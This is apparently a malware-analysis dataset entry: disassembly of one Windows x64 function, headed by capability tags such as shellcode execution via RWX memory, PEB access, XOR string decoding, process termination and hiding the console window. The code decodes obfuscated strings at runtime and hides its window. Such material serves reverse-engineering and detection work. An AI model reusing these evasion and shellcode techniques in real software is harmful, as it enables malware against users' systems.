Function at 0x1400793e0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Encode data using xor
Enumerate processes
Execute command
Execute shellcode via indirect call
Get kernel32 base address
Hide graphical window
Move file
Set console window title
Spawn thread to rwx shellcode
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xca8]
sub rsp, 0xd80
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x14020b010]
xor rax, rsp
mov qword [rbp + 0xc40], rax
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
xor edi, edi
test eax, eax
js 0x140079487
mov qword [rbp + 0x50], rdi
lea rax, [rbp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [0x1401b8f38]
xor edx, edx
lea r8d, [rdi + 1]
lea rcx, [0x1401b8f48]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x140079481
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov r9, qword [rbp + 0x50]
mov rcx, qword [r9]
mov r8, qword [rcx + 0x28]
mov rdx, rax
mov rcx, r9
call r8
mov rcx, qword [rbp + 0x50]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
call fcn.140042e90
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov eax, dword [rdx + 0x30]
add eax, 0x100000
mov dword [rdx + 0x40], eax
mov ecx, 8
call fcn.14008e9e0
lea rcx, [0x140038df0]
mov qword [rax], rcx
mov qword [rsp + 0x70], rax
lea rcx, [rbp - 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x14008dad0]
xor edx, edx
xor ecx, ecx
call fcn.140166a30
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14007c839
cmp dword [rbp - 0x68], 0
je 0x14007c847
movaps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call fcn.140091c20
test eax, eax
jne 0x14007c852
lea ecx, [rax + 8]
call fcn.14008e9e0
lea rcx, [0x140039120]
mov qword [rax], rcx
mov qword [rsp + 0x70], rax
lea rcx, [rbp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x14008dad0]
xor edx, edx
xor ecx, ecx
call fcn.140166a30
mov qword [rbp + 0x30], rax
test rax, rax
je 0x14007c7a8
cmp dword [rbp + 0x38], 0
je 0x14007c85a
movaps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp - 0x70], xmm0
lea rcx, [rbp - 0x70]
call fcn.140091c20
test eax, eax
jne 0x14007c865
lea ecx, [rax + 8]
call fcn.14008e9e0
lea rcx, [0x1400393c0]
mov qword [rax], rcx
mov qword [rsp + 0x70], rax
lea rcx, [rbp + 0x28]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x14008dad0]
xor edx, edx
xor ecx, ecx
call fcn.140166a30
mov qword [rbp + 0x20], rax
test rax, rax
je 0x14007c964
cmp dword [rbp + 0x28], 0
je 0x14007c86d
movaps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp - 0x70], xmm0
lea rcx, [rbp - 0x70]
call fcn.140091c20
test eax, eax
jne 0x14007c878
lea ecx, [rax + 8]
call fcn.14008e9e0
lea rcx, [0x1400395a0]
mov qword [rax], rcx
mov qword [rsp + 0x70], rax
lea rcx, [rbp + 0x18]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x14008dad0]
xor edx, edx
xor ecx, ecx
call fcn.140166a30
mov qword [rbp + 0x10], rax
test rax, rax
je 0x14007c956
cmp dword [rbp + 0x18], 0
je 0x14007c880
movaps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp - 0x70], xmm0
lea rcx, [rbp - 0x70]
call fcn.140091c20
test eax, eax
jne 0x14007c88b
lea ecx, [rax + 8]
call fcn.14008e9e0
lea rcx, [0x140038e20]
mov qword [rax], rcx
mov qword [rsp + 0x70], rax
lea rcx, [rbp + 8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x14008dad0]
xor edx, edx
xor ecx, ecx
call fcn.140166a30
mov qword [rbp], rax
test rax, rax
je 0x14007c948
cmp dword [rbp + 8], 0
je 0x14007c893
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp - 0x70], xmm0
lea rcx, [rbp - 0x70]
call fcn.140091c20
test eax, eax
jne 0x14007c89e
lea ecx, [rax + 8]
call fcn.14008e9e0
lea rcx, [0x140042c10]
mov qword [rax], rcx
mov qword [rsp + 0x70], rax
lea rcx, [rbp - 8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x14008dad0]
xor edx, edx
xor ecx, ecx
call fcn.140166a30
mov qword [rbp - 0x10], rax
test rax, rax
je 0x14007c93a
cmp dword [rbp - 8], 0
je 0x14007c8a6
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x70], xmm0
lea rcx, [rbp - 0x70]
call fcn.140091c20
test eax, eax
jne 0x14007c8b1
mov eax, dword [str.R_4]
mov dword [rsp + 0x70], eax
mov r12d, 4
lea r13d, [r12 + 0x1b]
mov r15d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x1401f72ab], 0
je 0x140079808
mov r8d, edi
cmp r15d, 2
jl 0x1400797da
movdqa xmm3, xmmword [0x1401f89d0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1401f8ed0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1401f8ed0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401f89f0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1401f8ac0]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rsp + 0x70], xmm2
jmp 0x140079808
lea r9, [rsp + 0x70]
nop
mov eax, 0x5397829d
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, r12d
jl 0x1400797e0
lea rcx, [rsp + 0x70]
call fcn.14016c244
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r14, rax
mov edx, 0xa
lea rcx, [rbp + 0x410]
call fcn.140043960
nop
lea rdx, [rax + 8]
cmp qword [rax + 0x20], 0x10
jb 0x140079840
mov rdx, qword [rdx]
mov r8, qword [rax + 0x18]
lea rcx, [0x140329050]
call fcn.1400880a0
nop
lea rcx, [rbp + 0x410]
call fcn.140089e00
mov rcx, qword [rbp + 0x410]
mov qword [rbp + 0x410], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x240]
call fcn.140043960
nop
movups xmm0, xmmword [str.r_bocXSWNIgoDMK__qq]
movups xmmword [rbp + 0x190], xmm0
mov eax, dword [0x1401f5f28]
mov dword [rbp + 0x1a0], eax
movzx eax, byte [0x1401f5f2c]
mov byte [rbp + 0x1a4], al
mov r8d, edi
cmp r15d, 2
jl 0x140079a07
movdqa xmm5, xmmword [0x1401f89d0]
movdqa xmm4, xmmword [0x1401f8ed0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1401f89f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1401f8ac0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x190]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140079900
cmp r8d, 0x15
jge 0x140079a52
movsxd rax, r8d
lea r9, [rbp + 0x190]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x31
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140079a20
lea r8, [rbp + 0x240]
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x268]
call fcn.14008bd50
nop
lea rbx, [rbp + 0x270]
cmp qword [rbp + 0x288], 0x10
cmovae rbx, qword [rbp + 0x270]
mov r8d, 0x104
lea rdx, [rbp + 0x730]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov qword [rbp + 0xd0], rdi
lea rax, [rsp + 0x60]
mov qword [rbp - 0x48], rax
mov ecx, reloc.WS2_32.dll_recv
call fcn.14008c900
mov qword [rbp - 0x50], rax
lea rcx, [rbp + 0xc8]
mov qword [rax], rcx
mov qword [rax + 8], rdi
mov qword [rbp + 0xc8], rax
mov qword [rbp + 0xe0], rdi
mov qword [rbp + 0xe8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xd0], 0
lea rax, [rbp + 0x730]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140079af6
lea rdx, [rbp + 0x730]
lea rcx, [rbp + 0xc8]
call fcn.14008a1b0
nop
lea rcx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0x10
cmovae rcx, qword [rbp + 0xd0]
mov rdx, rbx
call fcn.14016c430
lea rcx, [rbp + 0xc8]
call fcn.140089e00
mov rcx, qword [rbp + 0xc8]
mov qword [rbp + 0xc8], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
lea rcx, [rbp + 0x248]
cmp qword [rbp + 0x260], 0x10
cmovae rcx, qword [rbp + 0x248]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call fcn.1400900c0
call fcn.1400900c0
mov edx, r12d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [str.agqs]
movups xmmword [rbp + 0x178], xmm0
mov eax, dword [0x1401f6c20]
mov dword [rbp + 0x188], eax
movzx eax, byte [0x1401f6c24]
mov byte [rbp + 0x18c], al
mov r8d, edi
cmp r15d, 2
jl 0x140079d07
movdqa xmm5, xmmword [0x1401f89d0]
movdqa xmm4, xmmword [0x1401f8ed0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1401f89f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1401f8ac0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x178]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140079c00
cmp r8d, 0x15
jge 0x140079d52
movsxd rax, r8d
lea r9, [rbp + 0x178]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x31
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140079d20
lea rdx, [rbp + 0x178]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140079f25
mov edx, 7
lea rcx, [rbp + 0x378]
call fcn.14003c060
mov rcx, rax
call fcn.140088090
mov r11, rax
lea rdx, [rbp + 0x2c0]
call fcn.14007c980
mov r10, rax
cmp byte [rax + 0x35], 0
je 0x14007c7b6
cmp r15d, 2
jl 0x140079ee6
movdqa xmm5, xmmword [0x1401f89d0]
movdqa xmm4, xmmword [0x1401f8ed0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1401f89f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1401f8ac0]
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x30
jl 0x140079de0
cmp edi, 0x36
jge 0x14007c7b6
movsxd r8, edi
add r8, r10
nop dword [rax]
mov eax, 0x5397829d
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x31
add cl, dil
xor byte [r8], cl
inc edi
lea r8, [r8 + 1]
cmp edi, 0x36
jge 0x14007c7b6
jmp 0x140079ef0
mov edx, 6
lea rcx, [rbp + 0x438]
call fcn.14003c060
lea r10, [rax + 8]
cmp qword [rax + 0x20], 0x10
jb 0x140079f44
mov r10, qword [r10]
movups xmm0, xmmword [0x1401f49d0]
movups xmmword [rbp + 0x530], xmm0
movups xmm1, xmmword [0x1401f49e0]
movups xmmword [rbp + 0x540], xmm1
movups xmm0, xmmword [0x1401f49f0]
movups xmmword [rbp + 0x550], xmm0
movups xmm1, xmmword [str.Af__PZAD_t_b]
movups xmmword [rbp + 0x560], xmm1
movups xmm0, xmmword [str._80l]
movups xmmword [rbp + 0x570], xmm0
movups xmm1, xmmword [0x1401f4a20]
movups xmmword [rbp + 0x580], xmm1
mov eax, dword [0x1401f4a30]
mov dword [rbp + 0x590], eax
mov r8d, edi
cmp r15d, 2
jl 0x14007a0f7
movdqa xmm5, xmmword [0x1401f89d0]
movdqa xmm4, xmmword [0x1401f8ed0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1401f89f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1401f8ac0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x530]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x140079ff0
cmp r8d, 0x64
jge 0x14007a142
movsxd rax, r8d
lea r9, [rbp + 0x530]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x31
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x64
jl 0x14007a110
mov r9d, 0x40034
mov r8, r10
lea rdx, [rbp + 0x530]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ebx, eax
lea rcx, [rbp + 0x438]
call fcn.140089e00
mov rcx, qword [rbp + 0x438]
mov qword [rbp + 0x438], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
cmp ebx, 6
jne 0x14007a345
mov byte [0x140326588], 1
call fcn.140039a70
test al, al
jne 0x14007a34c
lea rdx, [rbp + 0x1a8]
call fcn.14007c9c0
mov r9, rax
cmp byte [rax + 0x1c], 0
je 0x14007c7e1
cmp r15d, 2
jl 0x14007a306
movdqa xmm5, xmmword [0x1401f89d0]
movdqa xmm4, xmmword [0x1401f8ed0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1401f89f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1401f8ac0]
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x18
jl 0x14007a200
cmp edi, 0x1d
jge 0x14007c7e1
movsxd r8, edi
add r8, r9
nop dword [rax]
mov eax, 0x5397829d
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x31
add cl, dil
xor byte [r8], cl
inc edi
lea r8, [r8 + 1]
cmp edi, 0x1d
jge 0x14007c7e1
jmp 0x14007a310
mov byte [0x140326588], 0
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 3]
lea rcx, [0x1401f4eb0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140326580], rax
inc rax
test rax, 0xfffffffffffffffe
jne 0x14007b4fe
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov edx, listen
lea rcx, [rbp + 0x350]
call fcn.14003c060
nop
mov edx, listen
lea rcx, [rbp + 0x218]
call fcn.14003c060
nop
mov eax, dword [0x1401f419c]
mov dword [rbp + 0x58], eax
movzx eax, byte [0x1401f41a0]
mov byte [rbp + 0x58], reloc.WLDAP32.dll_Ordinal_46
xor byte [rbp + 0x59], 0x32
xor byte [rbp + 0x5a], 0x33
xor byte [rbp + 0x5b], 0x34
xor al, 0x35
mov byte [rbp + 0x5c], al
movups xmm0, xmmword [str.r_bocXSWNIgoDMK__qq]
movups xmmword [rbp + 0x118], xmm0
mov eax, dword [0x1401f5f28]
mov dword [rbp + 0x128], eax
movzx eax, byte [0x1401f5f2c]
mov byte [rbp + 0x12c], al
mov r8d, edi
cmp r15d, 2
jl 0x14007a567
movdqa xmm5, xmmword [0x1401f89d0]
movdqa xmm4, xmmword [0x1401f8ed0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1401f89f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1401f8ac0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x118]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14007a460
cmp r8d, 0x15
jge 0x14007a5b2
movsxd rax, r8d
lea r9, [rbp + 0x118]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x31
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14007a580
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x460]
call fcn.14008bd50
nop
lea rcx, [rbp + 0x58]
mov r8, rsi
inc r8
cmp byte [rcx + r8], 0
jne 0x14007a5d4
lea rdx, [rbp + 0x58]
mov rcx, rax
call fcn.1400880a0
mov rbx, rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x90], rdi
mov qword [rbp + 0x98], rdi
mov ecx, reloc.WS2_32.dll_recv
call fcn.14008c900
mov qword [rax + 8], rdi
mov qword [rbp + 0x78], rax
lea rcx, [rbp + 0x78]
mov qword [rax], rcx
mov rdx, rbx
lea rcx, [rbp + 0x78]
call fcn.14008a4a0
nop
lea rcx, [rbp + 0x460]
call fcn.140089e00
mov rcx, qword [rbp + 0x460]
mov qword [rbp + 0x460], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
mov eax, dword [0x1401f69d8]
mov dword [rbp + 0x60], eax
movzx eax, byte [0x1401f69dc]
mov byte [rbp + 0x60], reloc.WLDAP32.dll_Ordinal_46
xor byte [rbp + 0x61], 0x32
xor byte [rbp + 0x62], 0x33
xor byte [rbp + 0x63], 0x34
xor al, 0x35
mov byte [rbp + 0x64], al
movups xmm0, xmmword [str.r_bocXSWNIgoDMK__qq]
movups xmmword [rbp + 0x130], xmm0
mov eax, dword [0x1401f5f28]
mov dword [rbp + 0x140], eax
movzx eax, byte [0x1401f5f2c]
mov byte [rbp + 0x144], al
